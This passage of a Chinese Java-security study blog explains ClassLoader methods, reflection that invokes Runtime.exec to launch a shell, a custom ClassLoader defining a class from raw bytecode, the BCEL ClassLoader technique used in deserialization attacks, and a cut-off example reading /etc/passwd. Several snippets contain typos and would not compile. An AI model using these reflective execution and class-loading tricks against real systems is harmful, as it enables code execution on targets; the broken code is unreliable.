</p><p>将静态变量的赋值和静态代码块中的语句进行和并 并进行</p><h3 id="ClassLoader核心方法"><a href="#ClassLoader核心方法" class="headerlink" title="ClassLoader核心方法"></a>ClassLoader核心方法</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">loadClass（加载指定的Java类） loadClass() -&gt; findClass() -&gt; defineClass()</span><br><span class="line">findClass（查找指定的Java类）</span><br><span class="line">findLoadedClass（查找JVM已经加载过的类）</span><br><span class="line">defineClass（定义一个Java类）</span><br><span class="line">resolveClass（链接指定的Java类）</span><br></pre></td></tr></table></figure><h3 id="通过Class类的formName方法获得Class类"><a href="#通过Class类的formName方法获得Class类" class="headerlink" title="通过Class类的formName方法获得Class类"></a>通过Class类的formName方法获得Class类</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Main.java</span></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Class</span> <span class="variable">cmd</span> <span class="operator">=</span> Class.formName(<span class="string">&quot;com.cmd.Cmd&quot;</span>);</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Cmd.java</span></span><br><span class="line"><span class="keyword">package</span> com.cmd;</span><br><span class="line"><span class="keyword">import</span> java.lang.Runtime;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Cmd</span> &#123;</span><br><span class="line">    <span class="comment">//创建静态公共方法</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span>  Process <span class="title function_">cmd</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> java.io.IOException&#123;</span><br><span class="line">        <span class="comment">//Runtime类中的构造器为私有的没法创建一个Runtime对象并调用exec()方法</span></span><br><span class="line">        <span class="keyword">return</span> Runtime.getRuntime().exec(cmd);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="通过创建实例对象获得对象的Class类"><a href="#通过创建实例对象获得对象的Class类" class="headerlink" title="通过创建实例对象获得对象的Class类"></a>通过创建实例对象获得对象的Class类</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Main.java</span></span><br><span class="line"><span class="keyword">import</span> com.cmd.Cmd;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        Class&lt;?&gt; cmd = <span class="keyword">new</span> <span class="title class_">Cmd</span>();</span><br><span class="line">        <span class="type">Class</span> <span class="variable">cmdClass</span> <span class="operator">=</span> cmd.getClass;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Cmd.java</span></span><br><span class="line"><span class="keyword">package</span> com.cmd;</span><br><span class="line"><span class="keyword">import</span> java.lang.Runtime;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Cmd</span> &#123;</span><br><span class="line">    <span class="comment">//创建静态公共方法</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span>  Process <span class="title function_">cmd</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> java.io.IOException&#123;</span><br><span class="line">        <span class="comment">//Runtime类中的构造器为私有的没法创建一个Runtime对象并调用exec()方法</span></span><br><span class="line">        <span class="keyword">return</span> Runtime.getRuntime().exec(cmd);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="直接通过类加载其Class类"><a href="#直接通过类加载其Class类" class="headerlink" title="直接通过类加载其Class类"></a>直接通过类加载其Class类</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Main.java</span></span><br><span class="line"><span class="keyword">import</span> com.cmd.Cmd;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Class</span> <span class="variable">cmd</span> <span class="operator">=</span> Cmd.Class;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Cmd.java</span></span><br><span class="line"><span class="keyword">package</span> com.cmd;</span><br><span class="line"><span class="keyword">import</span> java.lang.Runtime;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Cmd</span> &#123;</span><br><span class="line">    <span class="comment">//创建静态公共方法</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span>  Process <span class="title function_">cmd</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> java.io.IOException&#123;</span><br><span class="line">        <span class="comment">//Runtime类中的构造器为私有的没法创建一个Runtime对象并调用exec()方法</span></span><br><span class="line">        <span class="keyword">return</span> Runtime.getRuntime().exec(cmd);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="通过类加载器反射调用其他类方法"><a href="#通过类加载器反射调用其他类方法" class="headerlink" title="通过类加载器反射调用其他类方法"></a>通过类加载器反射调用其他类方法</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Main.java</span></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">//获取类加载器</span></span><br><span class="line">            <span class="comment">//java核心API的类加载器大部分是通过引导类加载器加载的</span></span><br><span class="line">            <span class="comment">//Bootstrap ClassLoader是C++编写的 如果尝试获取Bootstrap ClassLoader会获得一个null</span></span><br><span class="line">            <span class="type">ClassLoader</span> <span class="variable">loader</span> <span class="operator">=</span> Main.class.getClassLoader();</span><br><span class="line"></span><br><span class="line">            <span class="comment">//加载指定的类</span></span><br><span class="line">            Class&lt;?&gt; cmd = loader.loadClass(<span class="string">&quot;com.cmd.Cmd&quot;</span>);</span><br><span class="line">            <span class="comment">//获取类中的方法</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">cmd1</span> <span class="operator">=</span> <span class="string">&quot;cmd /c start cmd&quot;</span>;</span><br><span class="line">            <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> cmd.getMethod(<span class="string">&quot;cmd&quot;</span>,String.class);</span><br><span class="line">            <span class="comment">//反射调用方法</span></span><br><span class="line">            method.invoke(<span class="literal">null</span>,cmd1);</span><br><span class="line"></span><br><span class="line">        &#125;<span class="keyword">catch</span> (Exception e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Cmd.java</span></span><br><span class="line"><span class="keyword">package</span> com.cmd;</span><br><span class="line"><span class="keyword">import</span> java.lang.Runtime;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Cmd</span> &#123;</span><br><span class="line">    <span class="comment">//创建静态公共方法</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span>  Process <span class="title function_">cmd</span><span class="params">(String cmd)</span> <span class="keyword">throws</span> java.io.IOException&#123;</span><br><span class="line">        <span class="comment">//Runtime类中的构造器为私有的没法创建一个Runtime对象并调用exec()方法</span></span><br><span class="line">        <span class="keyword">return</span> Runtime.getRuntime().exec(cmd);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>注意点</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span><span class="keyword">public</span> Method <span class="title function_">getMethod</span><span class="params">(String name, Class&lt;?&gt;... parameterTypes)</span> <span class="keyword">throws</span> NoSuchMethodException, SecurityException</span><br><span class="line"><span class="comment">//Class.getMethod()方法需要传入2个或2以上个的参数 (具体要看调用方法中传入的参数个数)</span></span><br><span class="line"><span class="comment">//第一个参数 String name 是需要调用成员方法的方法名</span></span><br><span class="line"><span class="comment">//第二个参数 Class&lt;?&gt;... parameterTypes 方法中所需的形参类型</span></span><br><span class="line">    </span><br><span class="line"><span class="number">2.</span><span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Object obj, Object... args)</span> <span class="keyword">throws</span> IllegalAccessException, InvocationTargetException</span><br><span class="line">Method.invoke()方法需要传入<span class="number">2</span>个或<span class="number">2</span>以上个的参数 (具体要看调用方法中传入的参数个数)</span><br><span class="line"><span class="comment">//第一个参数 Object obj 是调用该方法的对象</span></span><br><span class="line"><span class="comment">//如果调用的方法是静态方法 这个参数为null</span></span><br><span class="line"><span class="comment">//如果调用的方法是非静态的方法 则需要传入一个实例对象</span></span><br><span class="line"><span class="comment">//第二个参数 Object args 是需要传入的具体参数</span></span><br></pre></td></tr></table></figure><h3 id="通过自定义类加载器反射调用类方法"><a href="#通过自定义类加载器反射调用类方法" class="headerlink" title="通过自定义类加载器反射调用类方法"></a>通过自定义类加载器反射调用类方法</h3><p><strong>类加载器的加载过程</strong></p><p>ClassLoader.loadClass()</p><ol><li>类加载器检查当前类是否已经加载过了 如果加载过了 直接返回对象 </li><li>执行双亲委托机制去加载类 如果都加载不出来的话 通过自身加载类</li><li>如果还是加载不出来则调用findClass()方法 自动抛出错误ClassNotFoundException</li></ol><p>通过重写findClass()方法可以加载自己定义的类的二进制数据流 (加载自定义类)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//TestClassLoader.java</span></span><br><span class="line"><span class="keyword">package</span> com.anbai;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestClassLoader</span> <span class="keyword">extends</span> <span class="title class_">ClassLoader</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// TestHelloWorld类名</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">String</span> <span class="variable">testClassName</span> <span class="operator">=</span> <span class="string">&quot;com.anbai.TestHelloWorld&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// TestHelloWorld类字节码</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="type">byte</span>[] testClassBytes = <span class="keyword">new</span> <span class="title class_">byte</span>[]&#123;</span><br><span class="line">            -<span class="number">54</span>, -<span class="number">2</span>, -<span class="number">70</span>, -<span class="number">66</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">51</span>, <span class="number">0</span>, <span class="number">17</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">0</span>, <span class="number">13</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">14</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">7</span>, <span class="number">0</span>,</span><br><span class="line">            <span class="number">16</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">60</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">105</span>, <span class="number">116</span>, <span class="number">62</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">86</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">67</span>, <span class="number">111</span>, <span class="number">100</span>,</span><br><span class="line">            <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">15</span>, <span class="number">76</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">101</span>, <span class="number">78</span>, <span class="number">117</span>, <span class="number">109</span>, <span class="number">98</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">84</span>, <span class="number">97</span>, <span class="number">98</span>, <span class="number">108</span>, <span class="number">101</span>,</span><br><span class="line">            <span class="number">1</span>, <span class="number">0</span>, <span class="number">5</span>, <span class="number">104</span>, <span class="number">101</span>, <span class="number">108</span>, <span class="number">108</span>, <span class="number">111</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">20</span>, <span class="number">40</span>, <span class="number">41</span>, <span class="number">76</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>,</span><br><span class="line">            <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">83</span>, <span class="number">116</span>, <span class="number">114</span>, <span class="number">105</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">59</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">83</span>, <span class="number">111</span>, <span class="number">117</span>, <span class="number">114</span>, <span class="number">99</span>,</span><br><span class="line">            <span class="number">101</span>, <span class="number">70</span>, <span class="number">105</span>, <span class="number">108</span>, <span class="number">101</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">19</span>, <span class="number">84</span>, <span class="number">101</span>, <span class="number">115</span>, <span class="number">116</span>, <span class="number">72</span>, <span class="number">101</span>, <span class="number">108</span>, <span class="number">108</span>, <span class="number">111</span>, <span class="number">87</span>, <span class="number">111</span>,</span><br><span class="line">            <span class="number">114</span>, <span class="number">108</span>, <span class="number">100</span>, <span class="number">46</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">12</span>, <span class="number">0</span>, <span class="number">5</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">12</span>, <span class="number">72</span>, <span class="number">101</span>, <span class="number">108</span>, <span class="number">108</span>, <span class="number">111</span>,</span><br><span class="line">            <span class="number">32</span>, <span class="number">87</span>, <span class="number">111</span>, <span class="number">114</span>, <span class="number">108</span>, <span class="number">100</span>, <span class="number">126</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">40</span>, <span class="number">99</span>, <span class="number">111</span>, <span class="number">109</span>, <span class="number">47</span>, <span class="number">97</span>, <span class="number">110</span>, <span class="number">98</span>, <span class="number">97</span>, <span class="number">105</span>, <span class="number">47</span>,</span><br><span class="line">            <span class="number">115</span>, <span class="number">101</span>, <span class="number">99</span>, <span class="number">47</span>, <span class="number">99</span>, <span class="number">108</span>, <span class="number">97</span>, <span class="number">115</span>, <span class="number">115</span>, <span class="number">108</span>, <span class="number">111</span>, <span class="number">97</span>, <span class="number">100</span>, <span class="number">101</span>, <span class="number">114</span>, <span class="number">47</span>, <span class="number">84</span>, <span class="number">101</span>, <span class="number">115</span>,</span><br><span class="line">            <span class="number">116</span>, <span class="number">72</span>, <span class="number">101</span>, <span class="number">108</span>, <span class="number">108</span>, <span class="number">111</span>, <span class="number">87</span>, <span class="number">111</span>, <span class="number">114</span>, <span class="number">108</span>, <span class="number">100</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">16</span>, <span class="number">106</span>, <span class="number">97</span>, <span class="number">118</span>, <span class="number">97</span>, <span class="number">47</span>, <span class="number">108</span>,</span><br><span class="line">            <span class="number">97</span>, <span class="number">110</span>, <span class="number">103</span>, <span class="number">47</span>, <span class="number">79</span>, <span class="number">98</span>, <span class="number">106</span>, <span class="number">101</span>, <span class="number">99</span>, <span class="number">116</span>, <span class="number">0</span>, <span class="number">33</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">0</span>, <span class="number">4</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>, <span class="number">5</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">29</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">5</span>, <span class="number">42</span>, -<span class="number">73</span>, <span class="number">0</span>, <span class="number">1</span>, -<span class="number">79</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>,</span><br><span class="line">            <span class="number">1</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">9</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">7</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">27</span>, <span class="number">0</span>, <span class="number">1</span>,</span><br><span class="line">            <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">18</span>, <span class="number">2</span>, -<span class="number">80</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">8</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">6</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">10</span>, <span class="number">0</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">11</span>,</span><br><span class="line">            <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>, <span class="number">12</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Class&lt;?&gt; findClass(String name) <span class="keyword">throws</span> ClassNotFoundException &#123;</span><br><span class="line">        <span class="comment">// 只处理TestHelloWorld类</span></span><br><span class="line">        <span class="keyword">if</span> (name.equals(testClassName)) &#123;</span><br><span class="line">            <span class="comment">// 调用JVM的native方法定义TestHelloWorld类</span></span><br><span class="line">            <span class="keyword">return</span> defineClass(testClassName, testClassBytes, <span class="number">0</span>, testClassBytes.length);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">super</span>.findClass(name);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">// 创建自定义的类加载器</span></span><br><span class="line">        <span class="type">TestClassLoader</span> <span class="variable">loader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TestClassLoader</span>();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 使用自定义的类加载器加载TestHelloWorld类</span></span><br><span class="line">            <span class="type">Class</span> <span class="variable">testClass</span> <span class="operator">=</span> loader.loadClass(testClassName);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 反射创建TestHelloWorld类，等价于 TestHelloWorld t = new TestHelloWorld();</span></span><br><span class="line">            <span class="comment">// 使用无参构造器创建实例</span></span><br><span class="line">            <span class="comment">// Object testInstance = testClass.getDeclaredConstructor().netInstance()</span></span><br><span class="line">            <span class="type">Object</span> <span class="variable">testInstance</span> <span class="operator">=</span> testClass.newInstance();</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 反射获取hello方法</span></span><br><span class="line">            <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> testInstance.getClass().getMethod(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// 反射调用hello方法,等价于 String str = t.hello();</span></span><br><span class="line">            <span class="type">String</span> <span class="variable">str</span> <span class="operator">=</span> (String) method.invoke(testInstance);</span><br><span class="line"></span><br><span class="line">            System.out.println(str);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="跨类加载器加载机制"><a href="#跨类加载器加载机制" class="headerlink" title="跨类加载器加载机制"></a>跨类加载器加载机制</h3><p>类加载并创建的对象是由类和所使用的类加载器所决定的</p><p>如果Class A 分别由ClassLoader A 和 ClassLoader B加载</p><p>那么创建出来的对象就不是同一个实例对象</p><h3 id="BCEL类-加载器和Xalan-类加载器"><a href="#BCEL类-加载器和Xalan-类加载器" class="headerlink" title="BCEL类 加载器和Xalan 类加载器"></a>BCEL类 加载器和Xalan 类加载器</h3><p>(java反序列化洞)</p><p>详见<a href="https://www.javasec.org/javase/ClassLoader/#bcel%E7%BC%96%E8%A7%A3%E7%A0%81">BCEL ClassLoader 和 Xalan ClassLoader</a></p><p><strong>BCEL</strong> 是 Apache Jakarta 项目下的一个开源 Java 库，全称是 <strong>Byte Code Engineering Library</strong>。</p><p>它的唯一目的只有一件事：<strong>以编程方式分析、创建和修改 Java 字节码（.class 文件）</strong>。</p><p><strong>主要功能</strong></p><ol><li><p>生成动态代理类</p></li><li><p>代码插桩（比如在方法前后自动插入日志或性能监控代码）</p></li><li><p>编译器开发（将其他语言编译成 Java 字节码）</p></li><li><p>代码混淆器或优化器</p></li></ol><p>如果把 <code>.class</code> 文件比作“二进制机器码”，BCEL 就是一套允许你用 Java 代码直接编写、修改这些“机器码”的工具包，而不需要手写十六进制数据。</p><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>BCEL类中的ClassLoader 全限定类名:com.sun.org.apache.bcel.internal.util.ClassLoader</p><p>当BCEL的<code>com.sun.org.apache.bcel.internal.util.ClassLoader.loadClass()</code>加载一个类名中带有<code>$$BCEL$$</code>的类时会截取出<code>$$BCEL$$</code>后面的字符串，然后使用<code>com.sun.org.apache.bcel.internal.classfile.Utility.decode()</code>将字符串解析成类字节码，最后会调用<code>defineClass</code>()注册解码后的类，一旦该类被加载就会触发类中的恶意代码</p><h3 id="适用性"><a href="#适用性" class="headerlink" title="适用性"></a>适用性</h3><p>BCEL 6.0以下</p><p>Oracle自带的BCEL是修改了原始的包名，因此也有兼容性问题，已知支持该特性的JDK版本为：<code>JDK1.5 - 1.7</code>、<code>JDK8 - JDK8u241</code>、<code>JDK9</code></p><h2 id="java中的FileSystem"><a href="#java中的FileSystem" class="headerlink" title="java中的FileSystem"></a>java中的FileSystem</h2><p>java se中 有2个文件操作库 <code>java.io, java.nio</code></p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260314091327959.png" alt="image-20260314091327959"></p><h3 id="FileInputStream读取文件"><a href="#FileInputStream读取文件" class="headerlink" title="FileInputStream读取文件"></a>FileInputStream读取文件</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">fisdemo</span>&#123;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">    <span class="comment">//创建文件对象f</span></span><br><span class="line">    <span class="type">File</span> <span class="variable">f</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;/etc/passwd&quot;</span>);</span><br><span class="line">    <span class="comment">//创建文件输入流对象fis 并读取文件对象f</span></span><br><span class="line">    <span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(f);</span><br><span class="line">    <span class="comment">//创建字节数组对象</span></span><br><span class="line">    <span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">1024</span>]</span><br><span class="line">    <span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="type">ByteArrayOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span>((a = fis.read(bytes)) != 